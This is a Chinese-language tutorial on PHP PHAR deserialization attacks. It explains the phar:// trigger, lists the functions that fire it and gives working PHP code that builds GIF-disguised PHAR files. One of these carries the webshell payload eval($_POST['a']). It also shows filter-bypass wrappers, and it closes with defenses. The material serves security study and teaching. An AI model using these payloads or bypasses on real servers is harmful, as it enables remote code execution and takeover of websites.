PHAR反序列化拓展操作总结
字数 1698 2025-08-18 11:38:45
PHAR反序列化漏洞利用全面指南
1. PHAR反序列化漏洞概述
PHAR反序列化漏洞是一种通过PHP的phar://协议触发反序列化操作的安全漏洞。该漏洞由Sam Thomas在2018年BlackHat大会上首次提出,核心原理是当使用phar://协议处理PHAR文件时,PHP会自动反序列化文件中的metadata数据。
1.1 漏洞原理
在PHP处理PHAR文件时,php_var_unserialize()函数会被调用来解析metadata部分。攻击者可以构造恶意的PHAR文件,其中包含精心设计的序列化数据,当这些数据被反序列化时,会触发PHP对象的魔术方法(如__wakeup()、__destruct()等),从而导致任意代码执行。
2. 漏洞触发条件
要成功利用PHAR反序列化漏洞,需要满足以下条件:
- PHAR文件上传:能够将恶意PHAR文件上传到目标服务器
- 文件操作函数:存在可触发phar://协议的文件操作函数
- 魔术方法存在:目标代码中存在可利用的魔术方法
- 参数可控:文件操作函数的参数可控,且未严格过滤phar://等特殊协议
3. 可利用的文件操作函数
几乎所有文件系统函数都可以用来触发PHAR反序列化:
3.1 基础文件函数
fileatime()/filectime()/filemtime()stat()/fileinode()/fileowner()/filegroup()/fileperms()file()/file_get_contents()/readfile()/fopen()file_exists()/is_dir()/is_executable()/is_file()is_link()/is_readable()/is_writeable()/is_writable()parse_ini_file()unlink()/copy()
3.2 图像处理函数
exif_thumbnail()exif_imagetype()imageloadfont()imagecreatefrom*系列函数getimagesize()getimagesizefromstring()
3.3 哈希计算函数
hash_hmac_file()hash_file()hash_update_file()md5_file()sha1_file()
3.4 其他函数
get_meta_tags()get_headers()- ZipArchive相关操作
4. PHAR文件构造方法
4.1 基本PHAR文件构造
<?php
class TestObject {
public $data = 'cck';
}
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new TestObject();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
注意:需要在php.ini中将phar.readonly设置为Off才能生成PHAR文件。
4.2 伪装成其他文件格式
PHAR文件可以通过添加文件头来伪装成其他格式的文件,如GIF:
<?php
class TestObject {
public $data = 'cck';
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); // 添加GIF文件头
$phar->addFromString('test.txt','test');
$object = new TestObject();
$phar->setMetadata($object);
$phar->stopBuffering();
?>
5. 漏洞利用实战
5.1 简单利用示例
假设存在以下漏洞代码:
<?php
$filename = $_GET['filename'];
class AnyClass {
var $output = 'echo "cck";';
function __destruct() {
eval($this->output);
}
}
file_exists($filename);
?>
利用步骤:
- 构造恶意PHAR文件
- 上传PHAR文件(可能需要伪装成其他格式)
- 通过phar://协议触发反序列化
5.2 构造RCE的PHAR文件
<?php
class AnyClass {
var $output = 'phpinfo();';
function __destruct() {
eval($this->output);
}
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt','test');
$object = new AnyClass();
$object->output = 'eval($_POST["a"]);'; // 一句话木马
$phar->setMetadata($object);
$phar->stopBuffering();
?>
5.3 绕过限制的技巧
-
phar关键字被过滤:使用其他包装器嵌套
compress.bzip2://phar://upload_file/shell.gif/a -
文件类型限制:添加相应文件头并修改后缀名
-
文件内容检测:确保PHAR文件内容符合检测要求
6. 防御措施
- 禁用危险函数:在php.ini中禁用不必要的文件操作函数
- 协议过滤:严格过滤用户输入中的phar://等危险协议
- 文件上传限制:严格检查上传文件的内容而不仅是扩展名
- 禁用魔术方法:避免在魔术方法中执行危险操作
- 使用最新PHP版本:新版PHP对PHAR处理有更多安全限制
7. 总结
PHAR反序列化漏洞是一种危害性大、利用条件相对宽松的漏洞类型。攻击者只需要能够上传文件并找到触发点,就可能实现远程代码执行。防御此类漏洞需要从文件上传、输入过滤和代码安全多个层面进行防护。